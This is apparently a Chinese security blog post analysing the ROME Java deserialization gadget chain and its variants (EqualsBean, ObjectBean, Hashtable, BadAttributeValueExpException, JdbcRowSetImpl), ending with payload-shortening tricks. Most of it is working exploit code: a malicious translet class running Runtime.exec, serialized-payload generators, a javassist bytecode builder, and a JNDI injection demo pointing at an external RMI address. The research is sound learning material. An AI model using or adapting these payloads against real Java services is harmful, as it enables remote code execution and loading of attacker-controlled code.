Rome Gadget Learn

Rome Gadget Learn

0x01. Rome

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。

0x02. toString分析

链的关键点在于toString方法,我们来看一下该方法:

upload_5bf9250b91b3adb3731efa122b269e1f

跟进这个重载方法:
upload_db184e242cf2a1b0cc5edf614ab544ad

大致操作是从_beanClass类中拿一些方法,然后去执行这些方法的无参重载方法,那么就需要去跟进一下getPropertyDescriptorsgetReadMethod这两个方法;

很明显前者是去拿这个类的getter和setter方法的,因为反射执行方法还要满足无参的条件,setter方法理论上已经被排除了

upload_1eb04181a1c43290c785f9613e0d221c

从注释中也能看出来:

upload_79075a1ca38852a989638f1010999667

_beanClass_obj都是该类的构造方法中能赋值:

upload_2831beed17ceeb4b006baccfcc569c90

思路很明显了,这里我们使用Xlan的TemplatesImpl,主要调用它的getOutputProperties()触发defineClass,这里我们使用传入的恶意类字节码创建类,这样就会将恶意类字节码注册到JVM中,最终通过newInstance创建实例,从而实现RCE,一个demo:

恶意字节码类:
注意这里一定要继承AbstractTranslet,看到这里对恶意类的父类做了判断:

upload_bffc2d4670fd387b7d447852d265e81d

upload_5eaf3cca7cc16c8ea75cf2d3746c8efe

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ExpAbstractTranslet extends AbstractTranslet {
    public ExpAbstractTranslet() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

EXP:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.File;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class Rome_toString {

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        byte[] classBytes = Files.readAllBytes(Paths.get("D:\java_复现\rome_gadget\target\classes\com\example\ExpAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name","aaa");
        setValue(templates, "_bytecodes",  new byte[][]{classBytes});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        toStringBean.toString();
    }
}

动态再回顾一下:
进入toString后调用TemplatesImplgetOutputProperties方法:

upload_f1817723495851746c74c2d4716df189

跟进后会调用getTransletInstance()方法

upload_84f7862a366775d45c20c1bc68147983

upload_f17374b82930806261b14d0c80bdceb6

继续跟进该方法,这里由于已经注册过,将会实例化该恶意字节码类,从而RCE:

upload_ff2707cf152384a8ed19a95255098431

这里存在一个小细节,选取Class的时候,也就是构造方法传入的时候,使用的是Templates.Class而非TemplatesImpl.Class,因为前者只有一个getter,而后者存在多个getter,有可能无法调用到我们需要的getter——getOutputProperties()

upload_157a28dada8c4245ad8c2ffff7541165

0x03. 反序列化 Gadget分析

首先看一下yso给出的链子:

 * TemplatesImpl.getOutputProperties()
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

入口点是从HashMap的readObject处,我们知道这个类的readObject的最终结果是能够调用任意类的hashCode

这里只贴一下图,很好理解

upload_d2e565c976fb377448fa3a5a22257ed9

upload_425ec804784defe76fa990094d0e081c

经过一番搜索发现EqualBeans中存在该方法:

upload_36d5efa4c350204456c79b1d60fba199

跟进去看一眼:

upload_fad78b2d8a5ff2cad4322bdcd56ea211

很好的匹配前文的toString,再来看一下_obj是否可控:

upload_adcc3bad4deebb61f5ed667d51d6ca02

因此我们在构造方法中,将_obj设置为ToStringBean,之后调用ToStringBean的toString方法就是前文的步骤了

给出demo的EXP:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Rome_Gadget {
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] classBytes = Files.readAllBytes(Paths.get("D:\java_复现\rome_gadget\target\classes\com\example\ExpAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "aaa");
        setValue(templates, "_bytecodes", new byte[][]{classBytes});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();

    }
}

0x04.其他利用链--ObjectBean

Rome链后续利用都是一样的,后半段较为固定,都是使用TemplatesImpl.getOutputProperties()进行任意类加载,所以这里的其他利用链都是针对前半段入口处进行替换的。

前文搜索hashCode方法的时候,发现ObjectBean也存在该方法,跟进去看一眼:

upload_c29256592a76cd05f2726836caf75451

发现_equalBeans是可控的,并且直接是EqualsBean的实例,因此等价于前者

upload_3428cd025cdc7248fca75a538468f3d6

因此可以将EqualsBean.hashCode()替换为ObjectBean.hashcode(),这里就不贴EXP了

0x05.其他利用链--HashTable

这里其实和Rome Gadget关系不大,只是作为HashMap入口处的替换,如果环境过滤了HashMap类,则可以利用HashTable的反序列化入口,这里也简单分析一下:
这里反序列化后传入reconstitutionPut

upload_1375ec6b8a9fddf569c5ef5f11c5e96e

跟进一下:

upload_2243045ce7575145e9596849baf548ad

贴一下demo:

public static void hashTable_Gadget() throws Exception{
        byte[] classBytes = Files.readAllBytes(Paths.get("D:\java_复现\rome_gadget\target\classes\com\example\ExpAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "aaa");
        setValue(templates, "_bytecodes", new byte[][]{classBytes});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        Hashtable<Object,Object> hashtable = new Hashtable<>();
        hashtable.put(equalsBean,"123");
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }

0x06.其他利用链--BadAttributeValueExpException

BadAttributeValueExpException在CC链中使用到,这个类存在readObject方法,能够达到的效果就是触发任意类的toString方法

upload_edbb86963e50512c4e4fcadb80c64fe8

因此在这里也可以搭配ToStringBean实现RCE,利用链也很清晰了:

* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* BadAttributeValueExpException.readObject()

为了避免提前触发漏洞,我们可以利用反射修改val的值为需要调用toString()方法的类,当然也可以在BadAttributeValueExpException构造方法中将toStringBean传入

贴一下EXP:

public static void Badattributes_Gadget() throws  Exception{
        byte[] classBytes = Files.readAllBytes(Paths.get("D:\java_复现\rome_gadget\target\classes\com\example\ExpAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "aaa");
        setValue(templates, "_bytecodes", new byte[][]{classBytes});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11);
        setValue(badAttributeValueExpException, "val", toStringBean);
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }

0X07.其他利用链--JdbcRowSetImpl

JdbcRowSetImpl这个链主要也是利用了其getter方法,因此是针对后半段TemplatesImpl.getOutputProperties()任意类加载进行替换的,主要的关键点是getDatabaseMetaData:

upload_3776192ea67f05717ebd972f5182215b

跟进connect()方法,最终其调用了lookup(),触发了JNDI接口调用:
upload_a1b63ff33bf3425578f3ffa0d411dd86

dataSource是可控的:

upload_39252c4ffea7f73501433e1db656355a

因此可以触发JNDI注入,配合RMI或者LDAP进行攻击

由于JDNI注入中trustURLCodebase的限制,这里限制的攻击版本为
RMI:JDK 6u132、JDK 7u122、JDK 8u113之前
LDAP:JDK 7u201、8u191、6u211、JDK 11.0.1之前

一个简单的demo:

public static void JDBC_Gadget() throws Exception{
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://110.42.219.12:1099/zqunly");
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        toStringBean.toString();
    }

这里只是扩展一些利用方式,因此选择直接调用toString()来触发,可以搭配之前的例如BadAttributeValueExpException或者HashMap等方式来进行Gadget的变换操作

0x08.精简Payload

这里其实是受到D3CTF的启发,当然参考的是Y4师傅的文章,我们先来看一下BadAttributeValueExpException Gadget或者其他几个链子的b64长度,首先进行一个横向比较:

upload_27ac8dfe3352f318bb398bbdc4db714e

可以看到利用EqualsBean利用链的长度是最短的,这里Hashmap和HashTable都是使用的EqualBeans,而ObjectBeans实际上是套了一层EqualBeans,因此长度肯定是大于直接使用后者的

下面我们需要对该Gadget进行精简操作

从TemplatesImpl精简

这里能够想到的是在构造TemplatesImpl,这里实例化这个类涉及到三个部分,_name这里可以设置长度为1,_tfactory这里其实是可以不用设置的,我们来看TemplatesImplreadObject方法:

upload_6015aa9e95a6600be3dce52447686e20

这里在反序列化时会自动赋值,因此我们在序列化时不需要为TemplatesImpl._tfactory赋值

再来测试一下长度:

upload_d8aabfafbe04e65569ecdb4c601966b2

少了一部分,但是这样显然还不够,接下来我们把目光放到_bytecodes上,我们来看一下自实现的ExpAbstractTranslet类,当然这里的类名能够缩短到长度为1,并且在这里我们继承的AbstractTranslet父类,必须重写2个抽象方法,否则无法编译,但是这2个抽象方法在反序列化中并没有用到,因此这里使用javaassist来进行Patch,个人理解就是欺骗编译器使得即使没有重写也能通过编译,生成字节码文件

利用javaassit来解决这个问题:

package com.example;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;

import java.io.File;
import java.io.FileOutputStream;

public class GenerateBytesCode {
    public static byte[] getTemplatesImpl(String cmd) throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("A");
        CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor ctConstructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec("" + cmd + "");n}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] bytecodes = ctClass.toBytecode();
        ctClass.defrost();
        return bytecodes;
    }

    public static void main(String[] args) throws Exception{
        byte[] bytes = getTemplatesImpl("calc");
        FileOutputStream fos = new FileOutputStream(new File("A.class"));
        fos.write(bytes);
        fos.flush();
        fos.close();
    }
}

这里我们只利用构造方法,因此只需要补充构造方法,其他的重写方法由于后续没有利用,因此我们可以抛弃,这里可以生成A.class类作为我们的恶意字节码类,以利用注册到JVM虚拟机中

接下来我们再来看一下长度:

upload_baf39d8fd86b18e3da0f03e7366e75cf

已经缩短了将近一半的长度,当然这里的HashMap的value也能设置为空,这里的话缩短的长度优先,但已经满足需求了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇